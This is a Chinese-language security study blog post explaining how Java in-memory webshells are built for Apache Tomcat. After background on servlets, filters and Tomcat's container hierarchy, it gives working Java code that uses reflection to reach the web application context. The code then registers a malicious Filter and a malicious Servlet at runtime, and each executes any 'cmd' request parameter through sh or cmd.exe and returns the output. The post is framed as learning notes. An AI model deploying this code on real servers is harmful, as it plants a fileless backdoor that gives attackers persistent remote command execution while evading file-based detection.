【安全记录】基于Tomcat的Java内存马初探

1. 前言

平时遇到可RCE的点,都是借助工具一键注入内存马,但对其中的原理并没有很清楚的了解。本文主要跟随前辈大佬的学习笔记,以Tomcat为例,初探Java内存马的实现原理。

2. 基础知识

2.1 servlet 和 filter

Servlet 主要的作用是可以动态地生产Web页面,他执行在客户端请求和服务器响应的之间。比较简单地理解就是,一个路由URL,就会有对应的servlet对这个路由进行处理。

Filter 是一段可以复用的代码,它用来拦截HTTP请求、响应、进行一些处理和转换。常见一些Javaweb项目会在 Filter 位置创建一些XSS拦截器或者SQL拦截器,用来统一处理SQL注入漏洞或者XSS漏洞。Filter 无法产生一个请求或者响应,它只能针对某一资源的请求或者响应进行修改

2.2 servlet 和 filter 的生命周期

Servlet
Servlet 的生命周期开始于Web容器的启动时,它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说明,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。

  • 装入启动服务器时加载Servlet的实例
  • 初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成
  • 调用:从第一次到以后的多次访问,都是只调用doGet()或doPost()方法
  • 销毁停止服务器时调用destroy()方法,销毁实例

Filter
自定义Filter的实现,一定要求javax.servlet.Filter下的三个方法的实现,它们分别是init()doFilter()destroy()

  • 启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
  • 每一次请求时都只调用方法doFilter()进行处理;
  • 停止服务器时调用destroy()方法,销毁实例。

2.3 Tomcat 的 Container – 容器组件

Tomcat中的 Container作用:

用于封装和管理 Servlet,以及具体处理Request请求,在Connector内部包含了4个子容器:

Engine,实现类为 org.apache.catalina.core.StandardEngine
Host,实现类为 org.apache.catalina.core.StandardHost
Context,实现类为 org.apache.catalina.core.StandardContext
Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

这四个字容器实际上是自上向下的包含关系:

Engine:最顶层容器组件,其下可以包含多个 Host。
Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。
Wrapper:一个 Wrapper 代表一个 Servlet

关系图如下(借用参考文章的图):

对于tomcat的目录来说,webapps目录对应的就是 Host 组件,下面的 casmanager 等一个个webapp对应的就是 Context 组件,Wrapper 就是容器内的 Servlet了

image

2.4 Tomcat中的启动加载顺序

加载过程在 Tomcat 的org.apache.catalina.core.StandardContext#startInternal()

@Override
protected synchronized void startInternal() throws LifecycleException {
//设置webappLoader 代码省略
//Standard container startup 代码省略
try {

// Set up the context init params
mergeParameters();

// Configure and call application event listeners
if (ok) {
if (!listenerStart()) {
log.error(sm.getString("standardContext.listenerFail"));
ok = false;
}
}
// Configure and call application filters
if (ok) {
if (!filterStart()) {
log.error(sm.getString("standardContext.filterFail"));
ok = false;
}
}
// Load and initialize all "load on startup" servlets
if (ok) {
if (!loadOnStartup(findChildren())){
log.error(sm.getString("standardContext.servletFail"));
ok = false;
}
}

// Start ContainerBackgroundProcessor thread
super.threadStart();
} finally {
// Unbinding thread
unbindThread(oldCCL);
}
}

从代码中可以看到,加载顺序 context-param->listeners->filters->servlets :

  1. 首先初始化 context-param 节点:mergeParameters()
  2. 接着配置和调用 listeners 并开始监听:listenerStart()
  3. 然后配置和调用 filters ,filters 开始起作用:filterStart()
  4. 最后加载和初始化配置在 load on startup 的 servlets:loadOnStartup(findChildren())

3. 内存马技术实现介绍

从 servlet3.0 开始,提供了动态注册 Servlet 、filter 、Listener,这里重点关注 Servletfilter,因为 Servlet 能够帮助我们接受 request 请求和 response 响应,并且针对传入内容进行操作,filter 也是可以做得到的。

相关函数如下:

createFilter(Java.lang.Class clazz)
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2);
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Filter var2);
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Class var2);


createServlet(java.lang.Class clazz)
Dynamic addServlet(String var1, String var2);
Dynamic addServlet(String var1, Servlet var2);
Dynamic addServlet(String var1, Class var2);

3.1 获取上下文对象 ServletContext

Servlet上下文又叫做:ServletContext

当WEB服务器启动时,会为每一个WEB应用程序(webapps下的每个目录就是一个应用程序,也就是前面介绍的 Context 组件)创建一块共享的存储区域

image

ServletContext也叫做“公共区域”,也就是同一个WEB应用程序中,所有的Servlet和JSP都可以共享同一个区域

ServletContext在WEB服务器启动时创建,服务器关闭时销毁。

3.1.1 通过当前 request 对象获取 ServletContext

request.getSession().getServletContext();

所以这时候,如何获取servlet上下文(ServletContext)这个问题,就变成了如何获取运行状态中上下文中的 request 对象

org.apache.catalina.core.ApplicationFilterChain类当中存在两个static对象分别是:

private static final ThreadLocal lastServicedRequest;
private static final ThreadLocal lastServicedResponse;

而在这个逻辑中当ApplicationDispatcher.WRAP_SAME_OBJECT为 true 的情况下,就会把 request 对象和 response 对象暂时存放在 lastServicedRequest 和 lastServicedResponse 当中

if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}

所以现在我们要做的就是,通过反射来改变其中类的一些值,使得 request 对象和 response 对象存放在 lastServicedRequestlastServicedResponse 当中。

这样做需要通过反射修改3个部分。

通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECT判断结果为true

Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
    f.setBoolean(null, true);
}

通过反射初始化 lastServicedRequest 存放 request 对象

//初始化 lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
    f.set(null, new ThreadLocal());
}

通过反射初始化 lastServicedResponse 存放 response 对象

//初始化 lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
    f.set(null, new ThreadLocal());
}
} catch (Exception e) {
    e.printStackTrace();
}

通过这3次的反射修改,就能在下一次请求中成功获取上下文的 servletContext 对象,借用一张图:

获取到的对象为ApplicationContext类实例。

3.1.2 通过 Thread.currentThread().getContextClassLoader() 获取 StandardContext

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

借用一张图:

获取到的对象为StandardContext类实例。

tomcat 7 的结构不太一样,导致 tomcat 7 这种方法拿不到上下文中的 StandardContext 。

3.1.3 在 spring 项目中通过 spring 容器来获取 servletContext 对象(不推荐)

ServletContext servletContext = ContextLoader.getCurrentWebApplicationContext().getServletContext();

借用一张图:

获取到的对象为ApplicationContext类实例。

这种情况下有一定的限制,就是 servletContext 值的初始化的 servletContextListener 一定要在 org.springframework.web.context.ContextLoaderListener 之前加载。

3.2 构造内存shell

要让 servlet 被外界访问到,可以在 web.xml 之中进行一些映射工作:

image

前面提到过从 servlet3.0 开始,提供了动态注册 Servlet 、filter ,这里主要学习怎么针对 Servlet 和 filter 如何进行动态注册。

3.2.1 添加恶意filter

先写一个恶意的 filter ,前面说过 filter 的实现,需要分别实现三个接口 init 、doFilter 、destroy 。

Filter filter = new Filter() {
    @Override
    public void init(FilterConfig arg0) throws ServletException {}

    @Override
    public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2) throws IOException, ServletException {

        HttpServletRequest req = (HttpServletRequest) arg0;
        if (req.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner( in ).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            arg1.getWriter().write(output);
            arg1.getWriter().flush();
            return;
        }
        arg2.doFilter(arg0, arg1);
    }

    @Override
    public void destroy() {

    }
}

Tomcat 在 org.apache.catalina.core.ApplicationContextFacade 当中实现了之前我们说的 ServletContext 中的 addFilteraddServlet。先看 addFilter 的实现,这部分实现在 ApplicationContext#addFilter 当中。

在 addFilter 中,代码的作用实际就是新建一个 filterDef 然后调用this.context.addFilterDef(filterDef);进行添加了而已。完全可以通过反射的方式获取上下文 context 自行进行添加。

Filter filter = new filter(){上面的恶意代码}
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);

ApplicationFilterFactory.createFilterChain 当中,首先从 StandardContext 对象中获取filterMaps ,然后循环遍历 filterMaps ,最后再添加到 filterChain 当中

上面代码我们构造好了 filterDef ,当时并没有添加进 filterMap 当中,自然也不会添加到filterChain中去,所以添加进去:

FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern("/testfilter");
standardContext.addFilterMapBefore(m);

主要关注 standardContext.addFilterMapBefore 这个方法,这个方法最终的效果是要把我们创建的 filterMap 放到第一位去。因为从刚刚 ApplicationFilterFactory.createFilterChain 当中,我们知道这个顺序是从头到尾,看是一次次创建的,所以放到最前面是很有必要的。

最后还有一个问题需要解决,如何将 filter 添加到 filterConfigs 当中。关注 StandardContext#filterStart 方法就可以知道,遍历了 filterDefs 当中 filterName ,然后把对应的 name 添加到 filterConfigs 当中。再通过反射,在构造器实例化的时候把 filterConfig 加入到 filterConfigs 当中

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);

如此一系列操作,就能构造并添加一个恶意的filter了。

注意:tomcat 7 与 tomcat 8 在 FilterDef 和 FilterMap 这两个类所属的包名不太一样。

tomcat 7:

org.apache.catalina.deploy.FilterDef;
org.apache.catalina.deploy.FilterMap;

tomcat 8:

org.apache.tomcat.util.descriptor.web.FilterDef;
org.apache.tomcat.util.descriptor.web.FilterMap;

3.2.2 添加恶意servlet

先写一个恶意的 servlet ,接口下需要有 init 、getServletConfig、service、getServletInfo、destroy。

Servlet servlet = new Servlet() {
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }
    @Override
    public ServletConfig getServletConfig() {
        return null;
    }
    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[] {"sh", "-c", cmd} : new String[] {"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner( in ).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }
    @Override
    public String getServletInfo() {
        return null;
    }
    @Override
    public void destroy() {

    }
};

我们知道 Wrapper 负责管理 Servlet ,而之前在动态加载 filter 的时候,我们通过 standardContext 当中的 addFilterDef 和 addFilterMap 来完成了 filter 的动态添加。那么是否在 standardContext 当中也能完成 Wrapper 的动态添加呢?答案是肯定的,createWrapper 就能够搞定了,实例化一个新的 Wrapper 对象,把相关内容写进去。

org.apache.catalina.Wrapper newWrapper = stdcontext.createWrapper();
newWrapper.setName(n);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());

这里这时候又有一个问题了,这个新建的 Wrapper 对象,并不在 StandardContext 的 children 当中,我们可以通过 StandardContext#addChild 把它加到 StandardContext 的 children 当中。最后还需要将我们的 Wrapper 对象,和访问的 url 进行绑定。

stdcontext.addChild(newWrapper);
stdcontext.addServletMapping("/testservlet",n);

如此操作,就能构造并添加一个恶意的servlet作为内存shell了,该方法较filter更好,tomcat 7 和 8 能够通用。

4. 总结

本文讲解了filter和servlet两种类型内存马实现的一些基础知识,对反射操作servlet上下文有了更深的理解,后面我还将结合具体实例场景(jsp文件构造内存马;命令执行、反序列化构造内存马)进行学习。

5. 参考资料

基于Tomcat无文件Webshell研究

Servlet上下文

你可能感兴趣的:(【安全记录】基于Tomcat的Java内存马初探)